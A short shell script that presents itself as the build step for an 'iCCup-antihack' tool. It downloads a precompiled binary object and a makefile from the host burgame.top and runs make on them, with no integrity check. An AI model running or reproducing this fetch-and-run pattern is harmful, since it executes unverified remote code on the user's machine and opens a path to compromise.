#!/bin/sh

domain="burgame.top"
if test -x iccup; then
	echo "iCCup-antihack already compiled"
	exit 0
fi
str=`uname -s`
case "$str" in
	FreeBSD|OpenBSD|DragonFly)
		os="bsd"
		;;
	NetBSD)
		os="net"
		;;
	Linux)
		os="lin"
		;;
	*)
		echo "ERROR: unsupported OS"
		exit 1
		;;
esac
str=`uname -m`
case "$str" in
	i386|i486|i686)
		cpu="32"
		;;
	x86_64|amd64)
		cpu="64"
		;;
	*)
		echo "ERROR: unsupported CPU"
		exit 1
		;;
esac
if test -x /usr/bin/fetch; then
	fetch="/usr/bin/fetch -o"
elif test -x /usr/bin/wget; then
	fetch="/usr/bin/wget -O"
elif test -x /usr/pkg/bin/wget; then
	fetch="/usr/pkg/bin/wget -O"
elif test -x /usr/bin/curl; then
	fetch="/usr/bin/curl -o"
elif test -x /usr/pkg/bin/curl; then
	fetch="/usr/pkg/bin/curl -o"
else
	echo "ERROR: no fetch program found"
	exit 1
fi
if ! $fetch iccup.o -q "https://$domain/files/$os$cpu.bin"; then
	echo "ERROR: fetching failed"
	if test -e iccup.o; then
		rm iccup.o
	fi
	exit 1
fi
if ! $fetch makefile -q "https://$domain/files/makefile"; then
	echo "ERROR: fetching failed"
	rm iccup.o
	if test -e makefile; then
		rm makefile
	fi
	exit 1
fi
touch iccup.o makefile
if make; then
	echo "iCCup-antihack compiled"
else
   echo "ERROR: can't make iCCup-antihack"
fi
rm iccup.o makefile
